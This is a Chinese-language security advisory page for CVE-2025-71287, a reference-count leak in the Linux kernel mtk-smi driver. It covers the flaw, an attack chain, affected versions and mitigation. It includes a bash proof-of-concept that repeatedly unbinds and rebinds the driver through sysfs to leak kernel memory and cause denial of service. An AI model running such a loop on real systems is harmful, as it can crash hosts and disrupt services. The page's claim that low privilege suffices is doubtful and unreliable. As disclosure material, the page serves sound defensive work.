IPBUF安全漏洞报告
English
CVE-2025-71287 CVSS 5.5 中危

Linux内核 mtk-smi 组件设备泄漏漏洞 (CVE-2025-71287)

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71287
漏洞类型
资源泄漏
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄漏DoS本地漏洞MTK-SMI

漏洞概述

Linux内核中的MTK-SMI驱动程序存在一处资源泄漏漏洞。该问题发生在larb(Local Arbiter)组件的探测过程中。当探测操作失败(例如由于硬件未就绪导致的探测延迟)或驱动程序解绑时,系统未能正确释放之前获取的SMI设备引用。这种引用计数的泄漏会导致设备对象无法被回收,长期运行或反复触发该路径可能导致内核内存资源耗尽,进而影响系统稳定性或导致拒绝服务。

技术细节

该漏洞位于Linux内核的drivers/memory/mtk-smi.c文件中的mtk_smi_larb_probe函数。在函数执行期间,代码通过of_find_device_by_node查找并获取了SMI公共设备的引用,这增加了该设备的引用计数。然而,在后续的初始化步骤失败(如时钟使能失败)或驱动移除的错误处理路径中,缺少对应的put_device调用来释放该引用。如果探测被推迟,驱动会重试,但每次失败都会泄漏一个引用。攻击者利用本地访问权限,通过反复加载卸载模块或触发探测失败,可导致内核内存泄漏,最终造成系统拒绝服务。

攻击链分析

STEP 1
访问控制
攻击者需要拥有本地访问权限(AV:L),通常需要低权限用户即可触发(PR:L)。
STEP 2
触发漏洞
攻击者通过特定的系统调用或脚本操作,触发mtk-smi驱动的探测失败或反复进行驱动的绑定与解绑操作。
STEP 3
资源泄漏
由于驱动代码在错误处理路径中未正确释放SMI设备的引用计数,导致每次失败操作都会泄漏内核内存资源。
STEP 4
拒绝服务
随着资源被逐渐耗尽,系统内存压力增大,最终可能导致系统崩溃或服务不可用(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC Concept: Trigger device leak via bind/unbind operations # Target: CVE-2025-71287 (Linux Kernel mtk-smi) # This script attempts to trigger the reference count leak # by repeatedly unbinding and binding the mtk-smi-larb driver. DRIVER_SYSFS="/sys/bus/platform/drivers/mtk-smi-larb" # Find the actual device ID (example, depends on hardware) DEVICES=$(ls -1 $DRIVER_SYSFS/*.auto/ 2>/dev/null | head -n 1) if [ -z "$DEVICES" ]; then echo "Target device not found." exit 1 fi DEVICE_ID=$(basename $DEVICES) echo "Targeting device: $DEVICE_ID" for i in {1..1000} do # Unbind the driver (triggers remove path) echo "$DEVICE_ID" > "$DRIVER_SYSFS/unbind" 2>/dev/null # Bind the driver (triggers probe path) # If probe fails or defers, refcount leaks echo "$DEVICE_ID" > "$DRIVER_SYSFS/bind" 2>/dev/null done echo "Loop completed. Check kernel log for memory leak warnings or dmesg."

影响范围

Linux Kernel < v6.12-rc1
Linux Kernel < v6.11.5
Linux Kernel < v6.10.14
Linux Kernel < v6.6.56

防御指南

临时缓解措施
建议立即升级受影响的Linux内核版本以修复此漏洞。如果无法立即升级,应限制对受影响硬件驱动的访问权限,并监控系统内存使用情况,防止因资源耗尽导致的系统崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表